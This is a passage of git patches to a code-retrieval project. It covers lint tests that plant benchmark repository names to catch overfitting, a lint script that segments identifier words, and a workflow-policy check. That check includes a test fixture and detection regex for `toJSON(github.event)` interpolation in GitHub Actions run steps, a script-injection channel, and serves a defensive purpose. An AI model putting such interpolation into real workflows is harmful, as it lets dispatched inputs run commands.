c.is_ascii_alphanumeric()) + && name.starts_with(|c: char| c.is_ascii_alphabetic()) +} + +/// A shape planted the way a steering site would actually be written: as the +/// declaration its casing implies, and as a table literal, because steering is +/// as often a string in a scoring table as it is a symbol. +fn shape_fixture_source(index: usize, text: &str) -> String { + let declaration = if text.starts_with(|c: char| c.is_ascii_uppercase()) { + format!("pub struct {text};\n") + } else { + format!("pub fn {text}() -> f32 {{ 1.0 }}\n") + }; + format!("pub const PLANTED_{index}: &str = \"{text}\";\n{declaration}") +} + #[test] fn linter_bans_holdout_repository_names_on_identifier_boundaries() { let ruled_out: std::collections::BTreeMap<&str, &str> = @@ -1443,52 +1511,39 @@ fn linter_bans_holdout_repository_names_on_identifier_boundaries() { "expected the corpus to name many repositories, found {names:?}" ); - // Each name is planted four ways. The bare literal is the easy shape -- it - // is already delimited by its own quotes, so a boundary that treats `_` as - // part of the identifier still reports it. The other three are the shapes a - // re-introduced steering site actually takes in Rust, where `_` is the word - // separator: `sourcetrail_index`, `index_sourcetrail`, - // `redis_command_boost`, `AXIOS_PATH_BOOST`. A ban that only survives the - // first shape is lost in practice, and only planting the evading shapes can - // say so. + // The bare literal is the easy shape -- it is already delimited by its own + // quotes, so any boundary at all reports it. Every other shape comes from + // `identifier_word_shapes`, which enumerates the ways an identifier can + // carry the name as one of its words rather than listing the ones someone + // happened to think of. A ban that only survives the literal is lost in + // practice, and only planting the evading shapes can say so. let mut fixtures = Vec::new(); let mut planted: Vec<(String, String)> = Vec::new(); + let mut shapes_of_name: Vec> = Vec::new(); for (index, name) in names.iter().enumerate() { - let mut shapes = vec![ - ( - format!("repo_name_{index}.rs"), - format!("pub const PLANTED: &str = \"{name} cache key\";\n"), - format!("{name} cache key"), - ), - ( - format!("repo_glue_{index}.rs"), - format!("pub const PLANTED: &str = \"boost_{name}_paths\";\n"), - format!("boost_{name}_paths"), - ), - ]; - // The identifier shapes need a name that is legal identifier text; the - // hyphenated slugs (`chinook-database`) can only be planted as literals. - if name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') - && name.starts_with(|c: char| c.is_ascii_alphabetic()) - { - shapes.push(( - format!("repo_fn_{index}.rs"), - format!( - "pub fn {}_command_boost(path: &str) -> f32 {{ 1.0 }}\n", - name.to_lowercase() - ), - format!("{}_command_boost", name.to_lowercase()), - )); - shapes.push(( - format!("repo_const_{index}.rs"), - format!("pub const {}_PATH_BOOST: f32 = 1.5;\n", name.to_uppercase()), - format!("{}_PATH_BOOST", name.to_uppercase()), - )); + let mut shapes = vec![( + format!("repo_literal_{index}.rs"), + format!("pub const PLANTED: &str = \"{name} cache key\";\n"), + format!("{name} cache key"), + "bare_literal", + )]; + if is_identifier_text(name) { + for (shape, text) in identifier_word_shapes(name) { + shapes.push(( + format!("repo_{shape}_{index}.rs"), + shape_fixture_source(index, &text), + text, + shape, + )); + } } - for (file_name, contents, text) in shapes { + let mut per_name = Vec::new(); + for (file_name, contents, text, shape) in shapes { fixtures.push((file_name.clone(), contents)); - planted.push((file_name, text)); + planted.push((file_name.clone(), text)); + per_name.push((file_name, shape)); } + shapes_of_name.push(per_name); } let borrowed: Vec<(&str, &str)> = fixtures .iter() @@ -1506,17 +1561,16 @@ fn linter_bans_holdout_repository_names_on_identifier_boundaries() { let mut stale_rulings = Vec::new(); for (index, name) in names.iter().enumerate() { let is_ruled_out = ruled_out.contains_key(name.as_str()); - for prefix in ["repo_name", "repo_glue", "repo_fn", "repo_const"] { - let fixture = format!("{prefix}_{index}.rs"); + for (fixture, shape) in &shapes_of_name[index] { let Some(text) = planted_by_file.get(fixture.as_str()) else { continue; }; // The ban has to be about the name we planted, not about some other // corpus marker that happened to match the same fixture. - let reported = ban_fired_for(&reported_patterns, &fixture, text); + let reported = ban_fired_for(&reported_patterns, fixture, text); match (reported, is_ruled_out) { - (false, false) => unbanned.push(format!("{name} ({fixture})")), - (true, true) => stale_rulings.push(format!("{name} ({fixture})")), + (false, false) => unbanned.push(format!("{name} as {shape} ({text})")), + (true, true) => stale_rulings.push(format!("{name} as {shape} ({text})")), _ => {} } } @@ -1819,62 +1873,44 @@ fn linter_still_reports_every_ban_it_had_before_the_corpus_was_derived() { } #[test] -fn linter_still_reports_its_bans_when_a_separator_is_glued_to_them() { +fn linter_still_reports_its_bans_in_every_identifier_word_shape() { // The floor above plants each ban alone inside `"..."`, so the quotes - // already delimit it and a boundary that counts `_` as identifier text - // still reports it. That is not the shape a re-introduced steering site - // takes: Rust spells its steering `sourcetrail_index`, `axios_adapter`, - // `redis_command_boost`, `AXIOS_PATH_BOOST`. Planting the same floor glued - // to `_` is the only way the floor can tell "still banned" from "banned - // only in the shape nobody writes". - let glued: Vec<&&str> = PRE_DERIVATION_BAN_FLOOR + // already delimit it and any boundary at all reports it. That is not the + // shape a re-introduced steering site takes. Rust spells the same site + // `sourcetrail_index`, `SourcetrailIndex`, `useSourcetrail`, + // `SOURCETRAIL_BOOST` and `sourcetrail2`, and a ban that survives only the + // punctuation-glued spellings is lost in practice. Planting the whole floor + // in every shape `identifier_word_shapes` enumerates is the only way the + // floor can tell "still banned" from "banned only in the shape nobody + // writes" -- and generating the shapes rather than listing them is what + // stops the next repair from closing one spelling and leaving its siblings. + let tokens: Vec<&&str> = PRE_DERIVATION_BAN_FLOOR .iter() - .filter(|planted| { - planted.chars().all(|c| c.is_ascii_alphanumeric()) - && planted.starts_with(|c: char| c.is_ascii_alphabetic()) - }) + .filter(|planted| is_identifier_text(planted)) .collect(); assert!( - glued.len() > 30, + tokens.len() > 30, "the floor should have many single-token bans to glue, found {}", - glued.len() + tokens.len() ); let mut fixtures = Vec::new(); - let mut planted_by_file: std::collections::BTreeMap = + let mut planted_by_file: std::collections::BTreeMap = std::collections::BTreeMap::new(); - for (index, planted) in glued.iter().enumerate() { - for (shape, file_name, contents, text) in [ - ( - "literal", - format!("glued-lit-{index}.rs"), - format!("pub const PLANTED: &str = \"boost_{planted}_paths\";\n"), - format!("boost_{planted}_paths"), - ), - ( - "function", - format!("glued-fn-{index}.rs"), - format!( - "pub fn {}_command_boost(path: &str) -> f32 {{ 1.0 }}\n", - planted.to_lowercase() - ), - format!("{}_command_boost", planted.to_lowercase()), - ), - ( - "constant", - format!("glued-const-{index}.rs"), - format!( - "pub const {}_PATH_BOOST: f32 = 1.5;\n", - planted.to_uppercase() - ), - format!("{}_PATH_BOOST", planted.to_uppercase()), - ), - ] { - let _ = shape; - fixtures.push((file_name.clone(), contents)); - planted_by_file.insert(file_name, text); + let mut index = 0usize; + for token in &tokens { + for (shape, text) in identifier_word_shapes(token) { + let file_name = format!("shape-{index}.rs"); + fixtures.push((file_name.clone(), shape_fixture_source(index, &text))); + planted_by_file.insert(file_name, (text, shape, token)); + index += 1; } } + assert!( + fixtures.len() > 300, + "every floor token should be planted in every shape, got {} fixtures", + fixtures.len() + ); let borrowed: Vec<(&str, &str)> = fixtures .iter() .map(|(name, contents)| (name.as_str(), contents.as_str())) @@ -1883,19 +1919,102 @@ fn linter_still_reports_its_bans_when_a_separator_is_glued_to_them() { let stderr = String::from_utf8_lossy(&output.stderr); assert!( !output.status.success(), - "the glued ban floor must fail lint, stderr={stderr}" + "the identifier-shape ban floor must fail lint, stderr={stderr}" ); let reported = reported_patterns_by_fixture(&stderr); let mut lost = Vec::new(); - for (file_name, text) in &planted_by_file { + for (file_name, (text, shape, token)) in &planted_by_file { if !ban_fired_for(&reported, file_name, text) { - lost.push(text.clone()); + lost.push(format!("{token} as {shape} ({text})")); } } assert!( lost.is_empty(), - "these bans are lost the moment a separator touches them, which is how a \ + "these bans are lost the moment an identifier glues a word to them, which is how a \ steering site would actually spell them: {lost:?}" ); } + +#[test] +fn linter_does_not_ban_a_corpus_name_that_is_only_a_substring_of_one_word() { + // The other half of the class, and the reason the boundaries exist at all. + // Making word breaks visible must not turn into substring matching: `tokio` + // is not `okio`, `answerswrongly` is not `swr`, `plugin` is not `gin`. + // + // An unbroken run of one case carries no boundary a reader can see, so it + // stays unsegmented and stays unbanned -- deliberately, and this test is + // where that floor is written down. It is generated over the same corpus + // names the ban test uses, so widening the ban to a new shape has to face + // both halves of the space at once. + let names = corpus_repository_names(); + let identifier_names: Vec<&String> = names + .iter() + .filter(|name| is_identifier_text(name)) + .collect(); + assert!( + identifier_names.len() > 10, + "expected many identifier-shaped corpus names, found {identifier_names:?}" + ); + + let mut fixtures = Vec::new(); + for (index, name) in identifier_names.iter().enumerate() { + let lower = name.to_ascii_lowercase(); + let upper = name.to_ascii_uppercase(); + // `zz` padding, not a real prefix: the point is an unbroken run, and a + // meaningful prefix would risk colliding with some other corpus marker + // and testing the wrong thing. + fixtures.push(( + format!("substring-lower-{index}.rs"), + format!("pub const INSIDE_ONE_WORD: &str = \"zz{lower}zz\";\n"), + )); + fixtures.push(( + format!("substring-upper-{index}.rs"), + format!("pub const INSIDE_ONE_WORD: &str = \"ZZ{upper}ZZ\";\n"), + )); + } + // The real-world cases the boundary was introduced for, kept alongside the + // generated ones because these are the words that actually appear in this + // tree and a regression here breaks the build rather than a fixture. + for (index, word) in [ + "tokio", + "Tokio", + "TokioRuntime", + "useTokio", + "answerswrongly", + "AnswersWrongly", + "plugin", + "PluginHost", + "pluginHost", + "PLUGIN_HOST", + "login", + "LoginHandler", + "origin", + "OriginBoost", + "ORIGIN_BOOST", + "invite", + "InviteToken", + "demux", + "DemuxState", + ] + .iter() + .enumerate() + { + fixtures.push(( + format!("vocabulary-{index}.rs"), + format!("pub const PRODUCT_WORD: &str = \"{word}\";\n"), + )); + } + + let borrowed: Vec<(&str, &str)> = fixtures + .iter() + .map(|(name, contents)| (name.as_str(), contents.as_str())) + .collect(); + let output = run_lint_with_named_fixtures(&borrowed); + let stderr = String::from_utf8_lossy(&output.stderr); + assert!( + output.status.success(), + "a corpus name buried inside one unbroken word must not be banned; the boundaries exist \ + so that ordinary product vocabulary keeps compiling, stderr={stderr}" + ); +} diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index 7b9c39150..19e357bef 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -369,19 +369,68 @@ const evalCorpusRoots = [ // the gate on everything except the code it guards, so the guard suite reads // this list out of the lint rather than keeping a second copy that can drift. const dumpGuardedPathsPath = process.env.CODESTORY_RETRIEVAL_GENERALIZATION_DUMP_GUARDED_PATHS; -if (dumpGuardedPathsPath) { +function writeGuardedPathDump(scannedFiles) { const asRepoPath = (absolute) => path.relative(repoRoot, absolute).replaceAll(path.sep, "/"); - writeFileSync(dumpGuardedPathsPath, JSON.stringify({ - productionDirs: requiredScanDirs.map(asRepoPath), - productionFiles: requiredProductionOnlyFiles.map(asRepoPath), - corpusDirs: [asRepoPath(benchmarkTaskRoot)], + const asRepoPaths = (absolutes) => + [...new Set(absolutes.map(asRepoPath))].sort(); + const document = { + // Rust whose content the corpus bans are applied to. `requiredScanDirs` is + // the retrieval slice that gets the full ban set; `structuralScanDirs` is + // every other crate, which gets the corpus-path bans. Both decide the + // verdict, so both are guarded. + productionDirs: asRepoPaths([...requiredScanDirs, ...structuralScanDirs]), + productionFiles: asRepoPaths([ + ...requiredProductionOnlyFiles, + benchmarkEvalProbeSourcePath, + ]), + // Corpus the bans are derived from. All three eval roots, not just the task + // manifests: a marker deleted from any of them lowers the ban set. + corpusDirs: asRepoPaths(evalCorpusRoots), + corpusFiles: asRepoPaths([ + ...benchmarkIdentityScriptFiles, + ...benchmarkPromptScriptFiles.map(({ filePath }) => filePath), + benchmarkEvalProbeManifestPath, + ]), + // The non-Rust product/release surfaces this lint also scans. Omitting them + // is how a corpus dependency lands in a skill, a rule file or a workflow + // with the gate that rejects it never firing. + protectedNonRustDirs: asRepoPaths(protectedNonRustDirs), + protectedNonRustFiles: asRepoPaths([ + ...requiredProtectedNonRustFiles, + ...corpusHarnessNonRustFiles, + ]), lintFiles: [ "scripts/lint-retrieval-generalization.mjs", "scripts/cross-repo-sourcetrail-queries.mjs", asRepoPath(pendingSurfacePath), ], - })); + }; + + // The dump is only worth reading if it is complete, and "complete" cannot be + // a list someone remembered to extend. Every file this run actually opened is + // checked against the dump before it is written, so a scan root added to the + // lint without being declared here fails the dump instead of quietly shrinking + // what CI is told to watch. This is what makes the trigger contract in + // `retrieval_generalization_guard.rs` bind: the trigger covers the dump, and + // the dump provably covers the scan. + const guarded = Object.values(document).flat(); + const covers = (candidate) => + guarded.some((entry) => candidate === entry || candidate.startsWith(`${entry}/`)); + const undeclared = [...new Set(scannedFiles.map(asRepoPath))] + .filter((candidate) => !covers(candidate)) + .sort(); + if (undeclared.length > 0) { + console.error( + "lint-retrieval-generalization: these scanned paths are not declared as guarded, so a CI trigger built from this dump would not fire on them:", + ); + for (const candidate of undeclared) { + console.error(` ${candidate}`); + } + process.exit(2); + } + + writeFileSync(dumpGuardedPathsPath, JSON.stringify(document)); process.exit(0); } @@ -475,6 +524,12 @@ const residualBannedLiterals = [ }, ]; +// The only bans that carry their own boundaries, and therefore the only ones an +// identifier can hide a corpus name inside. Named once here so the scan can give +// them the segmented view of a line without guessing which patterns need it. +const benchmarkIdentityPatternList = benchmarkIdentityDerivedPatterns(); +const identityBoundedPatterns = new Set(benchmarkIdentityPatternList); + // Corpora overlap by design, so the same marker arrives from several of them; // one pattern per marker keeps the report readable. const bannedPatterns = [...new Set([ @@ -484,7 +539,7 @@ const bannedPatterns = [...new Set([ ...benchmarkEvalProbeDerivedPatterns(), ...benchmarkScriptPromptDerivedPatterns(), ...benchmarkQueryCatalogDerivedPatterns(), - ...benchmarkIdentityDerivedPatterns(), + ...benchmarkIdentityPatternList, ])]; const bannedLiteralPatterns = [ @@ -580,6 +635,54 @@ function benchmarkIdentityDerivedPatterns() { .map((token) => `(?:^|[^A-Za-z0-9])${escapeRegExp(token)}(?![A-Za-z0-9])`); } +// `_` is not the only separator a programmer writes. An identifier is a run of +// words whatever glues them together, and every language in this tree spells the +// same steering site several ways: `sourcetrail_index`, `SourcetrailIndex`, +// `useSourcetrail`, `SOURCETRAIL_BOOST`, `sourcetrail2`. The identity bans above +// are anchored on alphanumeric boundaries, so only the spellings that happen to +// use a punctuation separator trip them; the rest walk straight past a ban that +// is nominally in force. Teaching each ban about letter case is not possible +// while the scan compiles them case-insensitively, so instead the scan gets a +// second view of every line with the invisible boundaries made visible, and the +// unchanged bans then apply to `SwrIndexBoost` exactly as they apply to +// `swr_index_boost`. +// +// Only boundaries a reader can actually see are inserted, which is the same +// floor the bans already stand on: `tokio` is not `okio`, `answerswrongly` is +// not `swr`, and `plugin` is not `gin`. An unbroken lowercase run carries no +// boundary and neither does an unbroken uppercase one, so `sourcetrailindex` and +// `SOURCETRAILINDEX` stay unsegmented and stay unbanned - deliberately, because +// segmenting them means banning the substring, which is what the boundaries were +// introduced to stop. +function segmentIdentifierWords(text) { + return text + // `useSwr`, `rank2Swr` - a lowercase letter or digit followed by a capital + // is the camelCase/PascalCase word break. + .replace(/([a-z0-9])([A-Z])/g, "$1 $2") + // `SWRIndex` - an acronym run ends where the next capitalised word starts. + .replace(/([A-Z]+)([A-Z][a-z])/g, "$1 $2") + // `swr2` / `v2swr` - a letter/digit transition is a word break in every + // naming convention this repository uses. + .replace(/([A-Za-z])([0-9])/g, "$1 $2") + .replace(/([0-9])([A-Za-z])/g, "$1 $2"); +} + +// The hits two views of the same file found, keyed by pattern. Both views report +// a hit as `path:line:sourceLine`, so a line that trips a ban in both views is +// one hit and the pending inventory's exact counts stay exact. +function mergeHitsByPattern(primary, secondary) { + if (secondary.size === 0) { + return primary; + } + const merged = new Map(primary); + for (const [pattern, hits] of secondary) { + const existing = merged.get(pattern) ?? []; + const seen = new Set(existing); + merged.set(pattern, [...existing, ...hits.filter((hit) => !seen.has(hit))]); + } + return merged; +} + // Split string literals rejoin into the same marker, so the compact scan needs // the same corpus vocabulary the line scan uses. function benchmarkCorpusCompactPatterns() { @@ -2130,7 +2233,7 @@ function allowedReferenceUseMatches(prepared, use, startLine, endLine) { && matches[0].endLine === endLine; } -function scanProductionFile(prepared, patterns, combinedRe) { +function scanProductionFile(prepared, patterns, combinedRe, segmentIdentifiers = false) { const lines = prepared.logicalLines ?? prepared.lines.map((text, index) => ({ text, startLine: index + 1, @@ -2139,7 +2242,12 @@ function scanProductionFile(prepared, patterns, combinedRe) { const sourceLines = prepared.sourceLines ?? prepared.lines; const hitsByPattern = new Map(); for (const line of lines) { - const normalizedLine = normalizeNativeSeparators(line.text, line.shellLike); + const separatorNormalized = normalizeNativeSeparators(line.text, line.shellLike); + // Segmenting after separator normalisation, not before, so a shell-quoted + // `"boost""Swr"` is one run by the time its word breaks are read. + const normalizedLine = segmentIdentifiers + ? segmentIdentifierWords(separatorNormalized) + : separatorNormalized; if (!combinedRe.test(normalizedLine)) { continue; } @@ -2611,6 +2719,38 @@ if (scanFiles.size === 0) { process.exit(2); } +const structuralFiles = new Set(); +for (const root of structuralScanDirs) { + for (const filePath of walkRustProductionFiles(root)) structuralFiles.add(filePath); +} + +const protectedNonRustScanFiles = new Set(); +for (const root of nonRustScanRoots) { + for (const filePath of walkProtectedNonRustFiles(root)) { + protectedNonRustScanFiles.add(filePath); + } +} +if (usesDefaultNonRustScanRoots) { + for (const filePath of requiredProtectedNonRustFiles) { + protectedNonRustScanFiles.add(filePath); + } +} +if (protectedNonRustScanFiles.size === 0) { + console.error("lint-retrieval-generalization: no protected non-Rust files found"); + process.exit(2); +} + +// Every file this run will open is now known, so the guarded-path dump can be +// checked against it rather than trusted. Emitted before any scanning so the +// query stays a query. +if (dumpGuardedPathsPath) { + writeGuardedPathDump( + usesDefaultScanRoots && usesDefaultNonRustScanRoots + ? [...scanFiles, ...structuralFiles, ...protectedNonRustScanFiles] + : [], + ); +} + const bannedRegexPatterns = bannedPatterns.map((pattern) => ({ pattern, re: new RegExp(pattern, "i"), @@ -2623,14 +2763,29 @@ const bannedLiteralRegexPatterns = bannedLiteralPatterns.map((pattern) => ({ pattern, re: new RegExp(pattern, "i"), })); +// The boundary-carrying bans get a second pass over the same lines with +// identifier word breaks made explicit. They keep their own combined prefilter: +// the segmented view is a different string, so the unsegmented prefilter would +// skip exactly the lines this pass exists to read. +const identityRegexPatterns = bannedRegexPatterns.filter(({ pattern }) => + identityBoundedPatterns.has(pattern) +); +const identityCombinedRegex = new RegExp( + identityRegexPatterns.map(({ pattern }) => `(?:${pattern})`).join("|"), + "i", +); for (const filePath of [...scanFiles].sort()) { const prepared = prepareProductionFile(filePath); if (!isEvalOnlyProductionFile(filePath)) { - const productionHits = scanProductionFile( - prepared, - bannedRegexPatterns, - bannedCombinedRegex, + const productionHits = mergeHitsByPattern( + scanProductionFile(prepared, bannedRegexPatterns, bannedCombinedRegex), + scanProductionFile( + prepared, + identityRegexPatterns, + identityCombinedRegex, + true, + ), ); for (const { pattern } of bannedRegexPatterns) { const hits = productionHits.get(pattern) ?? []; @@ -2686,10 +2841,6 @@ const corpusCombinedRegex = new RegExp( corpusRegexPatterns.map(({ pattern }) => `(?:${pattern})`).join("|"), "i", ); -const structuralFiles = new Set(); -for (const root of structuralScanDirs) { - for (const filePath of walkRustProductionFiles(root)) structuralFiles.add(filePath); -} for (const filePath of [...structuralFiles].sort()) { if (isEvalOnlyProductionFile(filePath)) continue; const prepared = prepareProductionFile(filePath); @@ -2710,22 +2861,6 @@ for (const filePath of [...structuralFiles].sort()) { } } -const protectedNonRustScanFiles = new Set(); -for (const root of nonRustScanRoots) { - for (const filePath of walkProtectedNonRustFiles(root)) { - protectedNonRustScanFiles.add(filePath); - } -} -if (usesDefaultNonRustScanRoots) { - for (const filePath of requiredProtectedNonRustFiles) { - protectedNonRustScanFiles.add(filePath); - } -} -if (protectedNonRustScanFiles.size === 0) { - console.error("lint-retrieval-generalization: no protected non-Rust files found"); - process.exit(2); -} - for (const filePath of [...protectedNonRustScanFiles].sort()) { const prepared = prepareNonRustFile(filePath); const harnessDependencyHits = scanCorpusHarnessDependencies(prepared); From b21bdfca7f352d9265727306bfb8aaca140c5330 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 15:43:56 -0500 Subject: [PATCH 058/132] refuse the event payload as a laundering channel For workflow_dispatch, github.event is the container the inputs arrive in, so `toJSON(github.event)` carries every dispatched value into script text without the word `inputs` appearing anywhere. toJSON is not an escape: it preserves `$(` and backticks verbatim. `\bevent\b` does not reach inside `github.event_name`, since `_` is a word character, so reading which trigger fired stays allowed. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 5 +++++ .../scripts/check-workflow-policy.test.mjs | 19 +++++++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index f4d875d50..c8aaaf937 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -4735,6 +4735,11 @@ const launderingContexts = [ [/\benv\b/u, "env"], [/\bsteps\b[\s\S]*\boutputs\b/u, "a step output"], [/\bneeds\b[\s\S]*\boutputs\b/u, "a job output"], + // For `workflow_dispatch`, `github.event` *is* the inputs container, so serialising the event + // carries every dispatched value into script text without the word `inputs` ever appearing -- + // `toJSON` preserves `$(` and backticks intact. `\bevent\b` does not match inside + // `github.event_name`, because `_` is a word character, so the ordinary trigger read is untouched. + [/\bgithub\b[\s\S]*\bevent\b/u, "the event payload"], ]; export function interpolatedDispatchInputs(run) { diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 4c150713b..de2d56473 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -2753,6 +2753,22 @@ test("no workflow interpolates a dispatch input into a run: body", async (t) => assert.match(validateWorkflows(workflows).join("\n"), /must read \$\{\{ env\.LAUNDERED \}\}/u); }); + // For `workflow_dispatch`, `github.event` is the container the inputs arrive in, so serialising + // it carries every dispatched value into script text without the word `inputs` appearing at all. + // `toJSON` is not an escape: it preserves `$(` and backticks verbatim. + await t.test("serialising the event payload does not launder an input into script text", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run: 'echo "${{ toJSON(github.event) }}"\n' }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + " must read ${{ toJSON(github.event) }} from step env, not interpolated script text:" + + " it carries the event payload", + ]); + assert.match(validateWorkflows(workflows).join("\n"), /it carries the event payload/u); + }); + await t.test("a step output does not launder an input into a later script", () => { const workflows = loadWorkflows(); workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( @@ -2797,6 +2813,9 @@ test("no workflow interpolates a dispatch input into a run: body", async (t) => ["a shell variable whose name merely contains the word", 'echo "$RELEASE_INPUTS_PATH"\n'], ["the shell read of a job-level env entry", 'echo "$LAUNDERED"\n'], ["a shell variable that merely spells the env context", 'echo "$env_path/bin"\n'], + // `_` is a word character, so `\bevent\b` does not reach inside `github.event_name`. Reading + // which trigger fired says nothing about what was dispatched. + ["the trigger name, which is not the event payload", 'echo "${{ github.event_name }}"\n'], ]) { await t.test(`${name} is not a violation`, () => { const workflows = loadWorkflows(); From f9decb84825c5d5f9d0a7d12a57893a23fbc44b6 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 15:35:58 -0500 Subject: [PATCH 059/132] stop a directory from deciding which step a citation proves MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Half the requirement tables never used a carrier: they ask the shared evidence-role classifier what kind of thing a citation is. That classifier answers a ranking question and much of it reads the path — anything under `runtime/` is runtime orchestration, anything under `app/`, `views/` or `pages/` is route handling, anything under `indexer/` is symbol extraction, anything under `flags/` is argument planning. Every symbol filed in those directories therefore closed whichever requirement listed the role: `renderChart` in `src/views/` proved a server's request entrypoint, `Store.delete` proved an indexer's persistence step, and one symbol under `runtime/` proved the entrypoint of three unrelated flows at once. The two invariants added last round skipped exactly these requirements, so none of it was visible. The carrier half leaked by families, not by instances. `citation_owns_client_request_method` matched the whole HTTP method set on a symbol's terminal segment, so every `.get`, `.delete` and `.options` in a repository was a client's convenience method. The log handler carrier matched "handle" as a prefix of "handler", so every `handleClick` and `handleScroll` was a logging framework's record processing. The record carrier matched the bare word "record", so every database row builder was a logger's record creation. `names_a_hook` accepted `_` and `-` after "use", handing the front-end hook convention to every `use_temp_dir` in every language. Give every requirement two factors that a single word cannot both satisfy: which subsystem the anchor belongs to, read from the anchor's own name, and which step of it the anchor is. Role-classified requirements gain the subsystem factor the carriers already had, and a role must survive having the citation's directories stripped — so a path can still take a role away and never hand one out. Where a subsystem list and a step list shared a word, the word is removed from one of them: `render` is the static site's step and `renderer` its subject, `mapper` is the object mapper's subject and `plan` its step, `view`/`views` is an MVC directory and not a static site at all. The invariant now runs over both halves and over a generated corpus rather than a list: off-subject name shapes crossed with every flow's own directory taken from the witness table, every directory the role classifier grants a role from, every language the witnesses use and five node kinds — millions of requirement/symbol checks, up from 416. A second gate records the complete set of one-word names that close a requirement, which is the exact surface on which a single word still decides a step. Co-Authored-By: Claude Opus 5 --- CHANGELOG.md | 9 + .../src/agent/packet_evidence_carriers.rs | 591 +++++++++- .../src/agent/packet_evidence_roles.rs | 20 +- .../src/agent/packet_flow_requirements.rs | 1042 +++++++++++++++-- 4 files changed, 1534 insertions(+), 128 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9e1877e91..fe16000b9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -30,6 +30,15 @@ input constraints, because "adminPanel" contains "min". Words are now matched whole, and a step also checks that the symbol belongs to the subsystem in question, so unrelated results no longer make a packet look complete. +- The folder a result sits in no longer decides which step it proves. Half of + the steps were matched by asking what kind of result something was, and that + question is largely answered by the file's directory — so everything under a + folder called `views`, `runtime`, `store` or `flags` proved whichever step + named that kind, whatever the result actually was. A chart renderer stood in + for a web server's entrypoint and a cache deletion stood in for an indexer + storing symbols. A result now has to say what it is by its own name, with the + folder only able to narrow that down, so a step is proved by evidence for that + step whichever half of the machinery matched it. - When a question names more files than fit in the follow-up list, the missing parts of the flow are no longer pushed out of it. Follow-ups for requested files and for unproven steps now alternate, so both survive the limit. diff --git a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs index c2d4aa348..f50b48c1e 100644 --- a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs +++ b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs @@ -5,8 +5,22 @@ //! wording produced that role closed every requirement wearing it. Two requirements in the same //! flow routinely share a role — a client's request finalization and its transport send are both //! steps of one dispatch — so a single piece of evidence closed both, and prose alone could close -//! either. Every carrier here reads only the citation, so a requirement is closed by evidence for -//! that requirement and by nothing else. +//! either. Every carrier here reads only the citation, never the claim's wording. +//! +//! What each carrier asks for is two independent factors: which subsystem the anchor belongs to, +//! and which step of it the anchor is. One word may not answer both — a carrier whose subsystem +//! list and step list share a word has one factor, which is how a symbol named `renderChart` +//! proved a static site's renderer. The subsystem factor is read from the anchor's own *name* +//! wherever a name can carry it; a directory says where a symbol was filed, not what it does, and +//! a path-sourced subsystem re-opens the moment an off-subject symbol is filed beside the evidence +//! it is impersonating. +//! +//! Two surfaces are the exception, stated so the limit is visible rather than assumed. A +//! stylesheet, a markup document and a schema file are proved *by the file*: their anchors are +//! selectors, attributes and statements with no identifier to scope by, so there the path is the +//! subsystem. And the static-site carriers take their subsystem from either, because a build phase +//! is named for its phase and not for the site — which is why those two carry a second name-side +//! factor of their own. use crate::agent::packet_scoring::{normalize_identifier, packet_display_path}; use codestory_contracts::api::{AgentCitationDto, NodeKind}; @@ -141,8 +155,13 @@ fn names_token_prefix(citation: &AgentCitationDto, prefixes: &[&str]) -> bool { /// The convenience request method a caller reaches first: a verb-named method on a client type. /// Distinct from the factory that builds the client and from the adapter that finally sends. +/// +/// The verb list is the whole HTTP method set, so the terminal-segment test alone accepts every +/// `.get`, `.post`, `.delete` and `.options` in a repository — `Store.get`, `Queue.head`, +/// `FeatureFlags.options`. The receiver has to be a client before its verb means anything. pub(crate) fn citation_owns_client_request_method(citation: &AgentCitationDto) -> bool { matches!(citation.kind, NodeKind::FUNCTION | NodeKind::METHOD) + && belongs_to_http_client(citation) && matches!( terminal(citation).as_str(), "request" | "get" | "post" | "put" | "patch" | "delete" | "head" | "options" @@ -151,8 +170,12 @@ pub(crate) fn citation_owns_client_request_method(citation: &AgentCitationDto) - /// Anchors that belong to an HTTP client at all. `Uri.prepare` is a URL utility that happens to be /// named "prepare"; without this scoping it closed the finalization step of any client flow. +/// +/// Read from the symbol's own name and not its path. A directory named `client/` or `http/` holds +/// plenty of symbols that are not the client — moving `Store.get` into `lib/client.dart` must not +/// turn it into the client's request method, and a path-sourced subsystem is exactly what would. fn belongs_to_http_client(citation: &AgentCitationDto) -> bool { - names_or_path_token( + names_token( citation, &[ "request", @@ -164,7 +187,9 @@ fn belongs_to_http_client(citation: &AgentCitationDto) -> bool { "adapter", "adapters", "transport", + "transports", "send", + "sends", "fetch", ], ) @@ -216,35 +241,51 @@ fn is_script_surface(citation: &AgentCitationDto) -> bool { /// `use` followed by a capital is the hook naming convention — `useData`, `useQuery`. /// `userProfile` and `useragentString` merely start with the same three letters, and a /// `starts_with("use")` test could not tell them apart. +/// +/// Only a capital counts. Admitting `use_` and `use-` as well handed the convention to every +/// snake-cased and kebab-cased `use_temp_dir`, `use_default_locale` and `use-legacy-mode` in any +/// repository, none of which is a data-fetching hook 